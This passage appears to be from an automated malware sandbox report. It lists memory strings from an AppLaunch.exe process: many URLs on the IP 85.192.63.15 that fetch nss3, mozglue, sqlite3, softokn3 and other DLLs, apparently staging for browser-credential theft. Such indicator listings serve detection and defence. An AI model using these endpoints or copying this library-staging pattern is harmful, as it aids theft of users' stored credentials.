Source: AppLaunch.exe, 00000003.00000003.260451268.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260312599.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005197000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/739b32bcadfc7ce757042211b13fe41du
Source: AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/C:
Source: AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.247223736.000000000516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/CO
Source: AppLaunch.exe, 00000003.00000003.238036948.000000000514F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238105258.000000000516E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/G
Source: AppLaunch.exe, 00000003.00000003.260623520.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260986268.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260586925.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260451268.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260354640.0000000005190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR
Source: AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
Source: AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll.dll
Source: AppLaunch.exe, 00000003.00000003.254140392.000000000515E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.000000000515E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.000000000515E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000515F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll/vcruntime140.dll
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlle
Source: AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dlly
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005149000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.000000000515E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.000000000515E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll
Source: AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll.dll
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll.dllo
Source: AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll/
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dllA
Source: AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dllR4
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.00000000051A1000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll
Source: AppLaunch.exe, 00000003.00000003.249455218.00000000051A1000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllN;%#
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dllll
Source: AppLaunch.exe, 00000003.00000003.260623520.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260399620.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260986268.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260947982.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000518F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.000000000516E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.000000000516D000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261340417.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258142692.0000000005190000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll
Source: AppLaunch.exe, 00000003.00000003.247223736.000000000516B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll.
Source: AppLaunch.exe, 00000003.00000003.251768309.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260399620.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000518F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261340417.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260808032.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.247223736.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259167015.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260546692.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260896576.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260242541.0000000005190000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.000000000518C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dllaQ
Source: AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll
Source: AppLaunch.exe, 00000003.00000003.254140392.000000000515E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll/vcruntime140.dll
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll5
Source: AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll;
Source: AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.00000000051A4000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dllN;%#
Source: AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dlldll
Source: AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dllj;I#
Source: AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll
Source: AppLaunch.exe, 00000003.00000003.256437810.000000000515E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000515F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll/vcruntime140.dll
Source: AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258788407.00000000051A4000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll2
Source: AppLaunch.exe, 00000003.00000003.259480810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.261099694.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.00000000051A3000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.00000000051A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll64
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll;
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dllG
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dllM
Source: AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlldll
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.192.63.15/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dlly
Source: AppLaunch.exe, 00000003.00000003.260135623.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.251768309.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.238036948.0000000005194000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.260135623.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.000000000518E000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.0000000005197000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.256437810.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.259480810.000000000518F000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.253443287.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000002.264446610.000000000518C000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257444328.0000000005199000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.254140392.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.257945990.0000000005166000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.249455218.0000000005149000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000003.00000003.258318335.0000000005166000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 